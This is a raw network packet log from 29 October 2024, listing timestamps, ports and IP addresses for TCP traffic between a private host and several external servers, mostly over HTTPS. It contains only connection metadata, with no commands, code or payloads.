Oct 29, 2024 15:27:26.358244896 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.358268023 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.366818905 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.366858006 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.367084980 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.367089033 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.367100954 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.367136955 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.371273994 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.371330023 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.371339083 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.375710964 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.375775099 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.375844955 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.375854015 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.378582954 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.384452105 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.393055916 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.393151999 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.393172979 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.405276060 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.405394077 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.405406952 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.410597086 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.410634995 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.411266088 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.411274910 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.411427975 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.418241024 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.425806046 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.425846100 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.425878048 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.425885916 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.426173925 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.470488071 CET	443	49800	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.470706940 CET	443	49800	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.470861912 CET	49800	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.473797083 CET	49800	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.473797083 CET	49800	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.473849058 CET	443	49800	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.473879099 CET	443	49800	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.474564075 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.479307890 CET	49804	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.479356050 CET	443	49804	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.479665995 CET	49804	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.479839087 CET	49804	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.479852915 CET	443	49804	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.482417107 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.482533932 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.482692003 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.482711077 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.482861042 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.483021021 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.486522913 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.486556053 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.486720085 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.486728907 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.486742973 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.486792088 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.486898899 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.487010956 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.487207890 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.487224102 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.487253904 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.487261057 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.488982916 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.490607023 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.490641117 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.490735054 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.491394997 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.491413116 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.491441011 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.491921902 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.491930008 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.499584913 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.499622107 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.499723911 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.499736071 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.499808073 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.508400917 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.517275095 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.517307043 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.517532110 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.517540932 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.517821074 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.526016951 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.533901930 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.533957958 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.533991098 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.533998966 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.538023949 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.541274071 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.589941025 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.590174913 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.590192080 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.597439051 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.597489119 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.597536087 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.597568035 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.597579956 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.597803116 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.602268934 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.602302074 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.602330923 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.602332115 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.602343082 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.602396011 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.603204012 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.603876114 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.606585026 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.608500004 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.608601093 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.608608961 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.615864038 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.615931988 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.615942001 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.623883963 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.624015093 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.624027014 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.632611036 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.632724047 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.632745028 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.636972904 CET	443	49803	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.637974024 CET	49803	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.637988091 CET	443	49803	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.640001059 CET	49803	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.640007019 CET	443	49803	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.641462088 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.641583920 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.641597986 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.649008989 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.649178982 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.649202108 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.649918079 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.653032064 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.653032064 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.653052092 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.653060913 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.657067060 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.657133102 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.657136917 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.657146931 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.657289982 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.657442093 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.657479048 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.657592058 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.692456961 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.695051908 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:26.695486069 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:26.698040009 CET	49802	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.698066950 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.701211929 CET	49802	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.701217890 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.769171953 CET	443	49803	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.769191980 CET	443	49803	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.769243002 CET	443	49803	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.769342899 CET	49803	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.769342899 CET	49803	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.792467117 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.792509079 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.792555094 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.792928934 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.805345058 CET	49803	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.805358887 CET	443	49803	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.808423042 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.808433056 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.808499098 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.808505058 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.838598013 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.838630915 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.838705063 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.838757992 CET	49802	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.841209888 CET	49802	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.003814936 CET	49802	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.003815889 CET	49802	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.003861904 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.003879070 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.205277920 CET	443	49804	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.228497028 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.249599934 CET	49804	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.263771057 CET	49804	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.263798952 CET	443	49804	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.264372110 CET	49804	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.264388084 CET	443	49804	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.266581059 CET	49810	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.266618013 CET	443	49810	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.266690969 CET	49810	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.267025948 CET	49810	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.267040968 CET	443	49810	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.268114090 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.268205881 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.268274069 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.268769979 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.268783092 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.269304037 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.269309044 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.272639990 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.272660017 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.272726059 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.273293018 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.273304939 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.288955927 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.289017916 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.389446974 CET	443	49804	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.390072107 CET	443	49804	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.390150070 CET	49804	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.390364885 CET	49804	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.390397072 CET	443	49804	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.393575907 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.393594980 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.393659115 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.393906116 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.393915892 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.402669907 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.403014898 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.403062105 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.403179884 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.403187037 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.403198004 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.403202057 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.406586885 CET	49815	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.406630993 CET	443	49815	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.406702995 CET	49815	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.407041073 CET	49815	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.407093048 CET	443	49815	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.663758993 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:27.663773060 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:27.663856983 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:27.666094065 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:27.666106939 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:27.992494106 CET	443	49810	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.993021965 CET	49810	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.993046045 CET	443	49810	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:27.994908094 CET	49810	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:27.994923115 CET	443	49810	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.011627913 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.012152910 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.012176037 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.012588024 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.012592077 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.085575104 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.086074114 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.086157084 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.086551905 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.086566925 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.125478983 CET	443	49810	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.125790119 CET	443	49810	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.125997066 CET	49810	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.126043081 CET	49810	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.126050949 CET	443	49810	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.126071930 CET	49810	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.126077890 CET	443	49810	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.128791094 CET	49817	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.128845930 CET	443	49817	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.129064083 CET	49817	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.129148006 CET	49817	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.129164934 CET	443	49817	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.139489889 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.139878988 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.139887094 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.140320063 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.140325069 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.142797947 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.142857075 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.142923117 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.143107891 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.143115044 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.143150091 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.143153906 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.143163919 CET	443	49815	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.143624067 CET	49815	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.143640041 CET	443	49815	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.144300938 CET	49815	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.144313097 CET	443	49815	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.145929098 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.145952940 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.146034956 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.146172047 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.146187067 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.272311926 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.272512913 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.272568941 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.272864103 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.272872925 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.272885084 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.272890091 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.274703026 CET	443	49815	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.274799109 CET	443	49815	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.274952888 CET	49815	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.275301933 CET	49815	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.275337934 CET	443	49815	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.277095079 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.277185917 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.277291059 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.278059006 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.278093100 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.280211926 CET	49820	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.280275106 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.280354023 CET	49820	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.280458927 CET	49820	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.280491114 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.337305069 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.337387085 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.337480068 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.337589025 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.337589025 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.337625027 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.337651968 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.339873075 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.339906931 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.339982033 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.340281963 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.340295076 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.538752079 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:28.538820982 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:28.538908958 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:28.539092064 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:28.539125919 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:28.780796051 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:28.780874014 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:28.785224915 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:28.785231113 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:28.785640955 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:28.825989962 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:28.851993084 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:28.862785101 CET	443	49817	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.870202065 CET	49817	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.870237112 CET	443	49817	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.872001886 CET	49817	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.872018099 CET	443	49817	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.899333000 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:28.993522882 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.994034052 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.994069099 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.994518995 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.994524956 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.999058008 CET	443	49817	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.999159098 CET	443	49817	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.999238014 CET	49817	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.999388933 CET	49817	443	192.168.2.6	13.107.246.45
